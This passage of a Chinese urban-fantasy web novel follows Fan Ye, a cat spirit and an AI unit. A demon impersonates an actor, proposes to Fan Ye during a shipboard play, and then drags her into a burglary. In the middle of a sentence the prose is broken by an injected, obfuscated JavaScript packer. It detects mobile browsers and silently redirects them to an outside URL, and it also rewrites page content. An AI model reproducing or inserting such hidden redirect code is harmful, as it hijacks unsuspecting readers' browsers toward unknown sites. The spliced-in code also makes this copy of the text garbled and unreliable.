樊也摇头,摇头后又点头,点头后又摇摇头,她也不知道招不招,人和妖怪都是两三拳放倒,以至于她并不觉得有多少特别。 “你对于妖怪,可是堪比唐僧肉呢。”胡嫣无奈笑笑。樊也指指自己,“我?我可不是处男。” “可你是纯阳之体,而且精气多得海一样。哪个妖怪要能吃了你,一辈子都不用修炼了。”胡嫣道。 “纯阳之体不是该看八字吗?”0114检索了相关信息后问道。“修炼之人感知到的气,不比八字准多了。”胡嫣摇摇头,想到普通妖怪和神兽之间的差别,一个是蝼蚁尘土,一个是天道骨肉,简直没法比。 姐姐安抚住了小系统,给了它一堆可供研究的资料。但胡久为却炸了毛,因差评又添数条。点评软件上,猫猫兔子蹬鹰的照片被拍了下来。大多数人本就认为实体动物有病,现在看见它还袭击人类,负面言论更是吵个不停。 “你不能化成人形?”胡久为问米然道。 米然摇摇头。现如今早就没人供奉香火,因此她也几近消失。被樊也捡到前,甚至还差点被垃圾场的流浪狗给咬死。胡久为嘴上不说,但了解到这些后,却越发把自己当成了咪咪亲娘。 但这样的言论才到了下午便骤然转好:【猫能看见人看不见的东西,我是说真的。】【当时他都数据化了,那个猫猫在他肩膀上不知道拍掉了什么,他就突然好了!】【先前的那个其实不是猫毛,当时就发现了是柳絮,当事人都承认了】……于是猫猫大人变成了真正意义上的——招财猫。 “请问您能给我看一下吗?”一位女士下班后拿着猫条问。 猫猫看了一眼,跳上椅子,捶了捶她胳膊,“好了,下一个。”下一位上前,猫猫给他修了修头发,两秒中后,又是一人…… 店内大排长龙,跟医院叫号一般,纷纷来找猫大夫看看。毕竟上医院去测情感值要将近两千,但猫猫这里只要两块,一根猫条的价格。于是猫猫每天都盘踞在门口的小柜台上检阅客人。 但今天却检阅出一张黑乎乎的证件,“环境局的,要调你们监控。”猫猫闻见股硝烟味,吓得一愣一愣,被樊也推了下屁股才想起来要跑,咻地踩她肩膀跳起,啪地窜到后腰躲着了。 6. 当场求婚 “你什么时候被调到7局了?”樊也无视那个比证件的,眸光往后瞭去。 打头那人见被忽视,证件往桌上一拍就要掏枪。樊也叉开五指,一掌过去,把那头梆铛往下磕了个响,又往上弹。 徐升心里建设做了一半,见状忙往里赶,“哥哥哥——算咯,算咯!” 樊也火还顶在喉头没消下去,转头又骂:“你教的?” 徐升哪儿敢认,人救一半都撒了手,立马撇清关系,后撤半步,小鸡啄米式地连连甩头。徒留那个握着枪的倒霉蛋站在地心,前后翻看,左右两难,脑门上渐渐坟起一颗大包。 “呃……最近风声紧,他们是有点应激。”徐升挠挠后脖颈,见樊也并未反驳,又试探着解释,“冯下台后,对妖怪的政策就变了,现在深井里什么样子……你都不敢想。” 徐升递了根烟给她,樊也没接,便叼自己嘴里,掏了打火机想点,见樊也瞪他,又乖乖把烟屁股怼进盒里。“我啊,是天天追得妖怪长妖怪短,听着哪有声气我就跑到哪去,跟他妈个狗一样。” 徐升叹气,食指踢着烟盒竖起打横竖起打横地转。悄悄望樊也一眼,企图收获些理解和安慰,但樊也只叮咚一声,完成了第一个2048。 徐升注意到这竟有些怀念,八年,什么都变了,只有她没。以前在队里就老见她2048,别人搞三千米,她搞2048,别人搞四百障,她还在搞2048。而且她对同类型的消消乐连连看碰都不碰,甚至连app都不下,就永远在飞信小程序上2048。 “就这么喜欢玩这个?”徐升甚至有点怀疑,2048里,是不是藏着什么宇宙的奥妙。 “啊?我只是刻板行为罢了。”樊也睁大两个眼睛,惊恐地把头撇老远。 “知道是刻板行为你还玩?”徐升费解。 “那抽烟还要命呢你怎么不戒?”樊也呛声。 徐升将烟盒彻底塞了回去,悻悻闭嘴。樊也照旧她的2048,即使两个亟需合并的1024隔海相望。徐升打量着樊也的店,人也生出了几分退伍反乡的心思。守着这么一家不大不小的店,人来了就招呼两句,没人了就往门口的摇椅里一躺,赚得不多不少,刚好够活,也懒得扩张翻新,就这么凑活着,凑活着凑活着看光和影子都一遍遍走。 只是她退得也太早了,明明……唉,妈的。莫法说。 “你要是能回——”回的一字还没吐落干净,樊也只眼皮一掀,徐升就又咽进肚里。仅两手叠拢,搓着。 见她无更多反应,徐升摸出两张通缉令道:“13号那天,从你店里拉走的人没救过来。上头怀疑是妖怪,让查查当天店里的客人。” 樊也一瞧,上头赫然是她熟悉的人脸。不想看,真不想看。这么些年,食物都绝种了但手机都没,足以见什么才是成年人的解药。她将通缉令反扣在桌面上,只想再开一局2048。 “黑底的你看了知道就行,黄底的贴店里,他最近似乎就在这一带活动。”黄底通缉令的照片上只有一道瘦长的背影,下方名字处写着——九婴。 通缉令的级别大致分为三种,黑黄白,白底是普通罪犯,基层干部可以捉拿,也鼓励百姓提供线索,黄底多为妖怪交由环境局处理,基层干部会有备份但见到也不会直接插手而是上报等待。至于黑底,如果一个罪犯能捉拿他的只有少数中的少数,那么其实也只有那零星几人需要知道罢了。 但贺途在昨晚就离开了野草,不知道是被骑伤了自尊,还是吃不饱。 徐升走后,樊也看着通缉令上的贺途两字,黯然神伤:“原来有名字啊,还准备给他取名叫娇娇呢。” 路过的0114愕然宕机:你跟他睡了这么久还不知道他叫啥???? 不过樊也没神伤多久,因为猫猫的缘故,店里小赚了几个钱,胡久为从二手市场淘了个烤箱。 那是个黑漆红边的旧烤箱,像台老式电视机,屁股大大,脑袋方方。它甚至没有电子的温控面板,只有三个机械旋钮。但铃声极亮,定时旋钮一点点倒退着回走,走到终点,发条释放,机械杠杆砰地弹起,锥在一个小铁片上。尖利、清冽,尾音里还勾着向上,像很久很久以前教室里装的铁皮铃铛。在每一个向上的尾音中,趴在烤箱前的樊也和咪咪都骤然一抖,肚里的馋虫被吵醒了作怪,咽口水也镇压不下,只能一遍遍问:“好了吗?好了吗?” 胡久为将肉翻面,又放了回去。 樊也与米然又凄苦地拿口水垫垫。 下一阶段要烤十分钟,樊也从未觉得,十分钟居然有这么漫长。暖黄色的灯光照在肉上,眼睛盯着油汁啪哒打出个小泡,鼻子隐约闻见逸散的肉香,但肉还是没好。两人看着手机的计时读秒,老式烤箱的旋钮滴答滴也在读秒,头扒在桌沿上往内窥探,腿不自觉绷着,像在等烤箱给他生出一个儿子。 “叮——”那掀铁皮子的声又响了。像在胃壁里剐了一下,里头汩汩反出酸水。 其实本不该饿,樊也怀疑肉有促进胃肠道消化的功能。不然为什么她每次看见,都格外的饿。而且挨饿在当下的时代背景中还有一个负面buff,那就是会掉情感值。樊也的情感值比秒表先一步倒数,疾走之下,已然抢拍。 吃不到嘴里,对樊也来说就像是爱人错过,他牵起你的手说等我回来,然后去而不返,你做针线熬瞎了眼,他富甲一方荣归故里带着他的第十三房姨太太。而你也瞎了,看不见他,只问:“老爷,要不要荷包?” 荷包……荷包蛋。想到荷包蛋是对樊也的最后一击,这次可能真的要完,她挽着咪的手,气喘如牛,只道救命。三魂七魄隐隐出逃,米然伸爪勾搭,“怎么办,她说救命。” 0114道:“您所看到的场景名为狼来了,据本程序分析——不必管他。” “啊,但她魂儿好像飞出来了。”咪咪的猫爪在虚空里点按勾弹,那条淡青色的东西,果冻一样,duangduang拍烂。 0114只好测试——零!居然是零!但跌破零点的人类从未活下来过,于是它只好询问樊也遗愿。 “肉……肉……我想吃肉……”樊也从嗓子眼儿送出几道肉的气声,但肉还没好。胡久为纠结着是否肉最好的火候,米然纠结着要是给了她自己还有没有份,0114纠结着这回要不要给部长报告。在三个人的纠结中,紧张的空气奇怪地停滞了五秒。还好烤箱救了她命。 “叮——”最后一道更响的象征结束的铃声彻底响起,最后一面的酥皮也恰好烤出。胡久为吹了吹,传递奥运火炬般地,喂了樊也一口。 众人都在等她上路,樊也夺过盘子,一口吃下,焦虑值陡降一半,又一口吃下,情感立马回温。等观众反应过来,烤肉已零落无几,而她的心理评分,还是那个优秀的大100。 樊也非常骄傲,骄傲之中也在等待0114来测身体数值,然后发出她简直是超人的赞叹。但小AI居然没来?樊也猴在躺椅里翻头找它,找了半天人都快从椅背上翻下去,才看见它居然在靠近厕所的角落里贴地飞行。 像识别到了樊也的目光,它瞬间朝她的方向移动几米。但很快又刹车似的停住,萎萎缩缩,像一颗受了冷风的蛋。 樊也生平,最讨厌裤子脱一半,拉屎拉半边。她丰沛浩瀚的想象,会在每一次呼吸间,拍上一道关于可能的浪潮。而下一种可能的设想也接力而来,她就像海岸边不幸凸起的礁石,永远、永远有下一道海浪。 “有屁快放。”三秒后,樊也道。 “那个,最近有一种新的方式,也可以提振人类情感值,我想让你和我一起去学习一下……”0114扭扭捏捏。屏幕上的颜文字戳着小手。 “啥东西?”樊也问。 “话剧。有个叫裴回的明星演出的话剧,很多人类看后都反馈有种身心舒展的感觉,经过我们检测,焦虑值果然降了!只要你愿意跟我去,我会努力和主任争取增加你的福利待遇的!”0114见有戏,忙忙说了好一大堆。 “不去。”樊也翻了个身,拒绝。 0114的电子屏瞬间变成了QAQ,过了一会又变成了TAT。但它知道樊也的回答从不更改,要是问多了还会挨揍,于是它就像只大黑苍蝇般,头往前拱了拱,便嗡嗡低低地离开了。 对此,樊也也没当回事。毕竟话剧表演,她学了能干嘛。在饭店门口拿着七彩塑料花扭屁股甩腰唱你爱我我爱你?没可能,她宁愿表演胸口碎大石。 只是她后来发现,0114似乎……很焦虑?她也觉得用焦虑来形容AI扯蛋,但似乎就是这样的。它每隔三分钟,就去刷新后台焦虑值增减波动的图表,减了0.01它都要找出来可能标注。一个客人,进店的时候它要测一次,出了门它甚至还跟踪人家,每隔5min记录一个小区间比对。樊也拉裤兜子了都没它急。 直到樊也蹲坑,在卫生间手机离0114的充电桩近,不小心连到了它的屏幕。看见在群内,0114每天发的焦虑值分析表,无人阅读、无人下载、无人回复。不应该啊,0114是老师研究出的新型智能体,就职于人类心理心脏研究所,按理来说,它应该是数据采集方面的主力才是。看着怪可怜的,AI给人类冷暴力了。 但樊也的懒惰还是战胜了她的良心。所以她还是没去。 直到……直到……直到……,有一天0114过来问樊也,说自己做得是不是还不够好。樊也刚想说,都是当驴,紧点慢点有啥区别。但还是闭了嘴,默默揣上小AI的话剧票,赶在最后一个钟头前去了。 没想到去了,人家说表演临时推迟。樊也只好转着转着在场地里找个厕所。 但这破剧院设计得跟虫洞一样,更别提它为了营造一种深沉的艺术气息,很多地方要么黑灯,要么只有嘶溜溜微弱的黄光。樊也只能感觉到自己走在软软的地毯上,人扑棱蛾子般,往看得见光的地方摸。 过了个转角,就看到一排休息室化妆间字样的门,樊也这才知道走错,不小心拐到后台了。但还是找个人问问路好了。她正要敲门,手刚一碰见门板,门却被推开。居然没有落锁。 樊也略微伸头往里看去,视线探进的深处,侧身站着位只着浴袍的男性。不过与其说是浴袍,不如说它更像……礼服?衣服从斜门襟系带的地方分为两半,一半是无领的抓绒长袍,一半是略短一截的利落西装。两种质地分外割裂,却又因穿着者的气质奇妙地趋于融洽。 他发尾滴着串串水珠,在猩红的肩上洇出眼似的乌痕。那东西与湿发下的金曈一同斜视,眱向门口。冰锥似的丹凤眼,因擦拭而撩动时却有股摄人的深味。发间的湿啪嗒落下,蓄进趾间,他光着脚。 樊也盯着看,但不知道该如何描述这种感觉。他身上有一种幽异的美感,像丛林深处,泥沼里暗生的藤蔓,看上去纤细颓靡,等缠住脚踝,才觉察到细密咬啮的,腐蚀性的疼痛。 贺途忙摸了摸嘴角,摸完才想起自己洗过。他刚把那个叫裴回的演员吃了。餐后在他的休息室洗了个澡。 既然被樊也发现,那他也有很多美妙的想法。因而他只稍稍垂眸,黑的羽睫敛去了金中红色,然后便真成为了旁人眼中的那位演员裴回。 “呃……我是想问,厕所在哪。”樊也直声,戳破了对方周边漂浮的华丽泡泡。 “前边左手第三个房子右转。”贺途回答完,樊也便走,但身后的声音却补充道:“然后继续右转,你就能看见前厅。” 樊也方便完,继续右转,转进了一片茫茫人海。排着队化妆的,拿着本对词的,吊着嗓子美声的……“你怎么还不来化妆?”身旁高马尾的女生手持一瓶定型喷雾,指着樊也的架势像要喷死一只小强。 “我化什么妆?”樊也莫名其妙,但已被按在了位子上。 “废话,你可是主角!” “主角????”怎么没有人通知我这个主角?但樊也终究还是成了主角,在看到几十双满是猩红目眦欲裂的眼后。她不演,怕他们血溅当场。 演员没了,这场戏本来就该停演。但樊也一来,贺途就浑身犯瘾。所以贺途扮上了,下旨让樊也也扮。更扯淡的是,贺途没说自己用什么,只说都让他们准备,开演十分钟前会告诉他们确切安排。 因此,樊也成了一步登天的女主角。对此,贺途格外开恩道:“我不介意和你有肢体接触。” 樊也脸上堆成一个苦巴巴的笑,怎么他娘的没人问我介不介意。 扮上后,樊也被搬到了“剧场”。演出地点并非先前的那个剧院,甚至连礼堂都不是,而是艘船。一艘潦草到甚至还散发着阵阵腥臭的渔船。直到他们将钢琴抬上来之前,樊也都觉得自己是在做梦。 但当暮色将展,日光逐渐失去了白炽灯似剐亮的颜色之后,樊也却不再这么觉得。正午的强光不留情面,炙烤得每一寸阴影都无处遁形,一个个瑕疵就那般被拎着,赤裸裸发落人前,真实、完整,也剥夺了最后一分想象的余地。而逐渐柔暖的昏黄却不再如此,它将一切都含在影里,连船身斑驳脱落的喷漆,都恍若大海颈间一道道蔼蔼波纹。 晚间从忙碌中歇脚的人们步上艘不知开往何处的船,以天为幕以海为景,欣赏过一出话剧后,提着飘摇的脚步下去,仿佛还经受着海的余波。他们以为自己度过了梦幻的一晚,回看那艘造梦的小船,企图记住,但当踏离甲板的一瞬,一切就变了,它只是艘普通的渔船,没有特意挑选,没有精心装饰。无聊到哪怕你第二天仍来这港口,直视着它朝它走去,也绝不觉得,这破船同昨晚的那艘梦船有何关联。 贺途扮演一个云游的乐手,爱上了名死囚,死囚今夜被押往海的另一头,当众处刑。为见她一面,乐手与神交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587016|205325||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易,变成乌鸦,只为演奏那支独属于她的曲子。但贺途想的其实只是如何在舞台上把樊也吃掉。在行刑时,女主角死去的时候?在行刑后,自己抱着尸体痛苦的时候?还是更早,像昆汀砍手指的那个桥段一样,一开始就张大嘴把人吃掉。有很多很好的选择……但当你觉得什么都好的时候,里面往往有很多都是烂的。他一定要最好吃的那个。 舞台竖着在甲板上一字摆开,观众稀稀拉拉立在两侧,不像在看话剧,倒像是观刑。进入船舱的门被悉数封住,只露出个肩宽的小窗户。 高而四方的天,被铁栅栏分成五份。黑色的乌鸦长长拖叫,红的天色一点一点印在地上。还有多久?鸟儿不时分秒,只急急歌唱。但它的嗓音已不复往日,沙嘎滞涩,樊也按照剧本,在此处用石子厌恶地向它砸去。 噹地声,石块撞至栏杆。噹地声,第一个琴音落下。左侧是窅黑刑房,与一小方天空。右侧,是贺途站在琴边,手指一顿一顿朝琴键按落。每摁一下,思绪都跃动一下,每动一次,想即刻享用的冲动都越浓一分。 她不该出现在自己面前的。贺途像每一个杀人犯那样,执着地给自己辩解。一切都是她的错。我明明已经离开,给了自己冷静的空间。是她追上来,刺激我,激怒我。对,一定是这样的。贺途偏过头,在阴影中藏起笑的嘴角。他明知不是这样。可就是这样才好,他听说,越是入戏越是好戏。 他深灰的西装像是借的,大了一码,又像只是人瘦了,因为连日赶路风尘仆仆。人清减到被衣服框住,只有脖颈细而长地垂下,看得见根部嶙峋突起的骨节。手指战栗着一落一落,连出惨淡、哽咽的琴音。跌跌绊绊,并不清楚,像小孩在教鞭下哕出的练习曲。 樊也本不该看向他的,但不自觉地,却在那艳似红绸的日色下,看向了那双覆在其下的眼。是深情的?还是悲伤的?是眷恋的?还是落寞的?樊也看不清楚,只觉得狭小的船舱闷涩潮苦,一叠一叠的海浪摇得人头晕。 他是个怎样的人呢?很突然地,樊也如此想。 她看着他,她本不该看他的。但骤然,那琴盖上的酒瓶竟被贺途碰落了。这可不是剧本里应有的情节。樊也小动作地往后台瞄了一眼,只见几个工作人员已在一侧待命,随时准备根据现场动作调整。 然而他竟不弹了。两瓣唇嫌恶地咂了一声,任由空气里唏嘘弥漫。他拾起酒瓶,闹脾气似的把剩余的酒液全浇了上去。果然,戏剧的高潮就是要出其不意!享受的欲望占了上风,贺途信手一甩,酒瓶骨碌碌滚至樊也身侧。 樊也被那瓶子绊了一跤,带着镣铐用手肘爬起,脚底板刮擦着地面,一步沉似一步地,被押着往前去走。她马上就要走出舞台了,但贺途却不紧不慢地斜倚着琴,不知从哪掏出个打火机,锵地声,火星微亮。白色的雾气抓挠着攀升上去,他嘶哑的调子在唇角轻哼。 席间的哗然像被这声盖住了,议论戛然而止。忍不住往前迎凑的观众也归了位,双手不自觉搓着裤缝,比贺途还要紧张。 但他只是唱,调子像情人于枕畔呢喃。他闭着眼,头略略歪着,下颌跟着节拍摇晃,指尖找着琴键,偶尔落下两个。樊也并不能回头,只是维持着等待行刑的站姿僵立,背对着听。那是一阵粘腻的乐音,大约是因他指尖浸润着葡萄发酵后的遗骸。 贺途边唱边想,想看这出剧观众,如何理解他们即将面对的高潮。直接吃掉是血腥而残忍的,会因暴力的内核被禁止传播,会因对感官狂烂的轰炸而失去美感。但吃掉精气的死亡又太过缓慢,不过惨烈。吃掉灵魂?对着人头痴痴吸取的样子像是吸毒,大约会被不明所以的群众以为癫痫,播急救送医。他讨厌刺耳的笛声。他心宜的死亡是灰色里的一滩血,刺目的,从灰黯里渗出来的。像是内伤。然后寂寂流淌着,将人淹没。不是不喜欢华丽的收场,而是只有这样,才能凸出红色。 啊,他就总是这样,纠结着,然后错过时机。樊也那边已经快要行刑,此刻琴声映照着一个去向死亡的行者,叙叙谈谈,像人生一辈子模糊不定的光影。樊也站在琴旁,极近的位置,却恰似两个世界。 海风渐起,舒缓的,像夏天树叶们彼此抚弄的呻吟,转而又烈了,像扯尽了叶子,只剩干枝,刺挠呼嚎。船摇摇地驶向峡口,风也追着,从窄道里挤过,尖利得像在嘴里打了个口哨。乌鸦追着刑车,被风一卷,轨迹飘摇。它“啊——啊——”地叫,贺途惨白的手指,在指尖印出绯红。那是酒液吗?又或只不过是落日伸出触角,眷恋的轻挠? 所有人的视线追着那抹红色翻飞,琴声急了,细听还有水声淋漓,他满是汁液的手一下下拧着人心像要榨出眼泪,在眼泪落下前,呼吸先紧,屏着气一步步听,一步步上,直把人拽到高而深稠的夜色里,那无处落脚的地方去,陡然,又一挫摔落,延宕的余音像吊在梁上的女孩子,长长的辫发,长长的腿,垂坠、延伸,终于在尘世间腐烂了。 歌者抚摸着爱人的尸体,饱胀的眼泪从眼内坠落。樊也听见他哭,忍不住睁眼去瞧,炽热的水珠打在他的眼眶上,仿佛是她自己的泪,冰冷地从眼角滑过。她看见他,他也看见她了。但却又似看不见,只是两个时空错位的灵魂,互相诀别。 恍惚间,樊也竟感觉到爱。失去后,迟来的爱。未曾早些珍惜的懊悔,终于想对尸体剖白心意的渴望。贺途也感觉到爱,在樊也扮演尸体时,上下眼睑翕动着想要睁开探寻的颤抖里。 演员果真是个十分好玩的角色啊,“我们结婚吧。”贺途揽着樊也,将她的头放在自己膝上。 我改主意了。流过泪的大脑酸胀,做什么都出于昏蒙。但贺途却很坚信这个选择。人的灵魂会因精力和情绪发生改变,如果,如果你爱上我的话,会是什么味道呢?贺途挂着泪,恋恋地低头看她。像要看到更深,在没吃掉之前就解析出她的味道。 什么东西是值得等待的呢?“我们结婚吧。春天的时候我和你一起去蹚刚化的溪水,夏天的时候去听杨树叶哗哗地响,秋天去找最蓝的一小块天,冬天就去冰面上跳舞。”他用手指一下下梳着樊也板结的头发,“等到你死了,我就再这样抱着你。如果你喜欢,我可以抱着等着,直到你腐烂。”骗你的,我才不会等那么久,但人怀抱着希望死去时,总是很美的。 他突然感觉到焦灼带来的幸福。原来当心空的时候,焦灼也是可以填满的。焦是她想要确认的焦香,灼是他等她在心里烧的火。等待将幸福延长了,从此刻——一直到终点。 早就该结束了。原定的剧情,没有这些台词。两个准备落幕的人远远瞧着对方,不知所措,观众也唏嘘着,看一个对尸体求婚的疯子。 但平白无故地,樊也觉察出一丝违和。果然,贺途倾身,唇瓣轻贴在她耳边,“你不说话,我就当你答应了。” 落幕了。鱼尸的腥味往血的腥味,缠绕上去。 7. 遗弃蓝鲸 “疯疯癫癫的,真是疯了。以前就不好伺候,这回彻底是疯了!”“开场半小时前说要改剧本,改了之后自己又临时乱加。”另一人附和着,无奈地啜了口气。“他把酒瓶撞倒那会儿,我还以为他真就这么不演了呢。”“可惜了团长的宝贝……”樊也刚换完衣服,竖耳听着,“钢琴算什么,叫这祖宗知道团长心疼钢琴,还有的挖苦。”余光瞥见,另一个女生把手搭在她臂弯里轻摇安抚,“好啦,能收场就好。开场那会,我光是临时找车子送观众就差点急死。”她仰头叹了口气,手也覆了上去,“也是,能收场就好。谁让这么大一个团,就只指着他那一张脸。” 樊也听完了八卦,转头又去了休息室。恰好贺途正在卸妆。他擦着脸上的青痕与皱纹。死的白下,露出被揉得发粉的脸,樊也同镜子里的贺途对视。 仿佛知道她想问什么,贺途笑了,眉眼和唇角都弯,“我是认真的。” “我没有和陌生人结婚的习惯。”樊也拒绝。 “陌生人?我好伤心啊。”卸完妆,贺途抖抖衣服穿上,“不过没关系,我想好了很多场,故事的展演。” 笑闹着,门突然被打开,蓄了一室的旖旎立马从气球的洞中漏出。一身甜粉短裙的女孩子手捧花激动道:“亲爱的,你今天演得真的超棒!”她说着,一手已挽上了裴回胳膊。 贺途花费三秒,检索了下裴回的记忆,于是秉持着专业的态度,将自己的手从对方的环中抽出,严谨问道:“你是Kelly、Sophie还是Nancy?” 她面色铁青,“你、你说什么呢。” 后来十分钟,是贺途拿着裴回手机用照片识别对方到底是谁的过程。而樊也只是看着那标准的抹泪跑步摔门三件套摇头,“人渣啊。” 贺途耸肩:“我觉得吊着别人的才是人渣。” 再后来,出门的大明星被媒体簇拥。议论声提问声波澜壮阔,骂词赞歌都滔滔不绝,每个人的嘴都张得开阔方正,慢动作像男女高音的美声合唱,快动作像在用门牙嘁嘁喳喳啃食话筒。 偏偏贺途还把樊也扯在最前面,说要给大家介绍他的女主角。樊也总觉得这驴没憋好屁,果不其然,两秒钟后,七点钟放下掷来一颗鸡蛋,叫:“不要女主角——” 樊也一个后撤步往斜撇去,臭鸡蛋啪地声碎在她脸前的墙壁上。于是她抓住惊诧,在所有人愣神的一瞬间,便插进缝隙,在媒体围困住贺途的当口跑了。乐颠颠,奔向自由。 谁料没跑几步,自由的衣领就被逮住,“去哪儿?” “你管我去哪?”樊也反嘴。 “帮我个忙。”贺途凑近笑道。 “不帮。”樊也果断摇头。 贺途什么也没说,只是拿起手帕捂嘴轻轻咳嗽了一声,非常不经意地露出点帕子上的血迹。却连风也帮他,摇摇扯着他的衣角豁剌剌地响,仿佛再下一瞬间要把他也带走似的。 樊也翻翻白眼,有苦难言。 “我得了一种很奇怪的病,只有环境局的档案里可能有相关记录。”贺途道。“人得的病和妖怪有什么关系。”环境局其实就是妖管局,只是对外如此称呼,也不能让民众知道妖怪相关。 “有一种妖怪的能力似乎可以治愈。”贺途道。 于是樊也一个于心不忍,就被贺途拐来环境局局长家里偷东西。 贺途眼梢儿勾着樊也轻轻一笑,笑的脸转身后才移过,欹长的,像背影也还映着笑的影子。 高门大院前的两个身影,一个穿着风衣,黑发微长,小部分向后拢着,剩余的垂在颊边,似乎连卷曲的弧度都随主人心意。另一个背心裤衩。 樊也按着贺途蹲在绿化带里,一面盯着角落的全自动防御装置,一面分了眸光瞪他,退堂鼓打得咚咚响。虽然她以前也不是没进来偷过,但多带个累赘那是另一种说法。不过……一想到等下要做什么,她还是忍了下来,按捺住隐隐绰绰地兴奋道:“跟上。” “抱我上去。”贺途发号施令。 “惯的你?”樊也刚要说不干,却又看见他掀起袖口,匀净的皮肤上,青紫的血管分外明显,再配上他被冷风吹得有些发白的唇瓣。嘶——还真像那么一回事。念在这人生病的份上,樊也骂骂咧咧地带他翻墙,结果对方骑在墙头上不下来,说是恐高:“你不知道,我三岁那年就被从山上摔下来,要不是那林子密……” “行行行行行!我知道了!”樊也深吸一口气,忙止住贺途自顾自的矫情,嘴角都撇成了八字,“跳,我接着你。” 樊也张开双臂后,本以为还有一阵子磨,结果一阵风似的,他竟落了下来。黑色的衣角向上翻飞,遮蔽半扇天空。虚揽着的头发因下落散开,被风蹭起,裸露于日色下的皮肤像蝴蝶的翅膀,金色的细小的绒毛,和半透明的神秘的脉络。 樊也才不管他,一个滑步,美人应声倒地。 贺途摔在草丛里,撑起半个身子,恨得眼能喷火。樊也还在得瑟着拿脚跐地,边跐边蹦:“我刚就是这么、一个后撤步、躲过的臭鸡蛋——帅吧!” 无视樊也的得胜之舞,贺途起身往前。樊也晃晃当当地跟,走路都是弧形。逐渐,四周板正的建筑越发少了,先头雕梁画栋,朱栏玉石,恨不得与清皇宫相似。再往后却是几栋小洋楼,原道是殖民的鬼子。 面对两个相邻的小楼,正当樊也不知进哪时,贺途却用指尖挡了挡鼻子,道:“走这边。” “你怎么知道?”樊也好奇地问,先前他不是还一问三不知。 贺途停了会儿,面露难色:“有老人味。” “卧槽,你属狗的?” 贺途拧她一眼,樊也惊觉,“你真属狗的?!”贺途不搭理他,直往前走。樊也笑得打雷一般,坠在人屁股后头,左一声右一声,“你别走啊,我又不歧视狗。” 贺途不搭理她,樊也就跟在后面,他翻什么,她就伸两根指头跟着翻翻。直到看见某本熟悉的档案,她才对贺途道:“你要的是不是这东西?” 妖籍档案,记录着每个妖怪的具体能力、身体数值、行踪动向,既用来做仿生研究,也用来实时监控。不过手上这本只是个简易版,她在老师的实验室看过更带劲的。 “是。”贺途回头看了眼,于是转身。 %?#,樊也这会才看见这牲口带了手套。 “哎呀,忘了分你一双。要不我帮你擦擦?”贺途夹起嗓子,翘起兰花指,夸张地躬腰拿手套去蹭。 “哼,反正暴露的也不差这点。”樊也翻了个白眼,看了看贺途的大衣,又看了看自己的拖鞋。天上地下满院子的警报器只是没响,又不代表事后查起来找不到。 “抱歉,是我忘了。”贺途仿佛是抱歉的样子。 二人离开,顺走了手机和文件,又见贺途还提着个箱子。嫌贺途慢,樊也抱起他再度翻墙,以动作的熟练度来看,刑期不短。门内有猎犬追来,汪汪声被风卷着阵阵砸入耳畔。院内的警卫被犬吠惊起,手持枪械慌忙赶来,还有一部分操纵着宅邸的防御系统连番猛攻。倒是贺途笑语依旧,“想不想来点更刺激的?” 樊也一边抱着人一边飞跑,“哦?你想帮我挡子弹?” 调笑着,贺途打开了箱子的卡扣。宅邸的对面就是中央大街,街上忙忙碌碌,好多行人。箱子里的钞票就这样飞呀飞,落红如雨。反应过来的人都跑过来抢钱,冲得警卫都散了,再找不到二人影子。 “那里头有啥?”樊也坐在马路牙子旁的石墩墩上,把脑袋挤过去望。贺途传了个软件,又鼓捣了两下,手机的锁屏便开了。“看来我们今天和下三路有缘。”贺途笑了下,然后将手机屏幕侧给她看。樊也一瞧:私房艺术照,真人特供。 多年前听过的八卦此刻有了回音,樊也正兀自摇头,却见贺途已经手指翻飞,末了轻轻一点,就把那堆东西全发了出去。 在看见发送对象后,樊也道:“没想到你人还怪好的。” 人渣:“替天行道罢了。” 良久,怀园夜市。 “偷吃?啊?”她手上带着个大蛋面的翡翠戒指,一个巴掌便甩男人脸上。“饭碗都是我给的,还偷吃?好好把你的破碗捧起来,看看上面到底写的是谁的姓!”一个破字脱出,裂空之势宛如千钧。正手扇完,反手又是两下,戒指盖章似印在脸上,像上了蓝标的猪肉。 见底下还蹲着个小的,穿着半扇屁股都盖不住的布,恨得一脚踩过去,又骂:“哭什么哭!装可怜给谁看?我还欺负你了?” 四面八方里里外外围了五六层人在看热闹,愣是没一个上来劝阻,甚至还有个大哥哒哒哒、哒哒哒、哒哒着肚皮去隔壁超市买了瓶水,殷勤得狗腿子似,“妹儿,口渴不?喝点水。”翡翠女士略欠身接过,道了声谢。灌了一口,瓶盖拧也不拧就连瓶子往那男人脸上甩去,“说话!” 水大半都浇到了男人头上,象征稳重的眼镜歪在脸上,像一只斜拧的笑嘴。空瓶子梆梆砸在脸上,他听着脑子里响转的回音,咬着牙挨,血一泵一泵全迸到脸上去,喜庆得像年节里节节蹿升的红爆竹。“小莉,我们回去再说。”他伸出两个手指去捏她袖子,却被她一手掠开,从下往上反手又是一扇,“这会知道要脸了?你们俩连天连日鼓捣的时候咋没想起来要脸?”骂毕拿着水瓶又往他身下一甩,“就你那点软叮当的东西还学着别人找小的?我看你是光着屁股拉磨,转着圈圈丢人还当给自己长脸!” “你呢?你喜欢他啥?”大翡翠女士拿脚指她,碰都没碰着,人却扑地摔在地上,鸭子坐着装起柔弱。她更为光火,厉声骂道:“别人圈里养的东西你当个宝贝往嘴里咂,我看你也是不嫌恶心。还干女儿,是不是上了床还叫声爹啊?”见那男人还好意思伸手去护,气得她左右开弓,一人脸上给了一下,热辣辣两个巴掌印子,鲜红得紧。 她拿起手机上下滑拉了几下,嘴里冷嘲着,把牙切得直响,“还拍?就你那肚子你还好意思拍?镜头里一半都是你一圈圈的肥油,你怎么不请个人钻屁股底下给你拍啊?”大翡翠女士翻着他手机里的相册,只看了一眼就气得不行,把手机往地上一掼,磕哒磕哒蹦出十几米地。 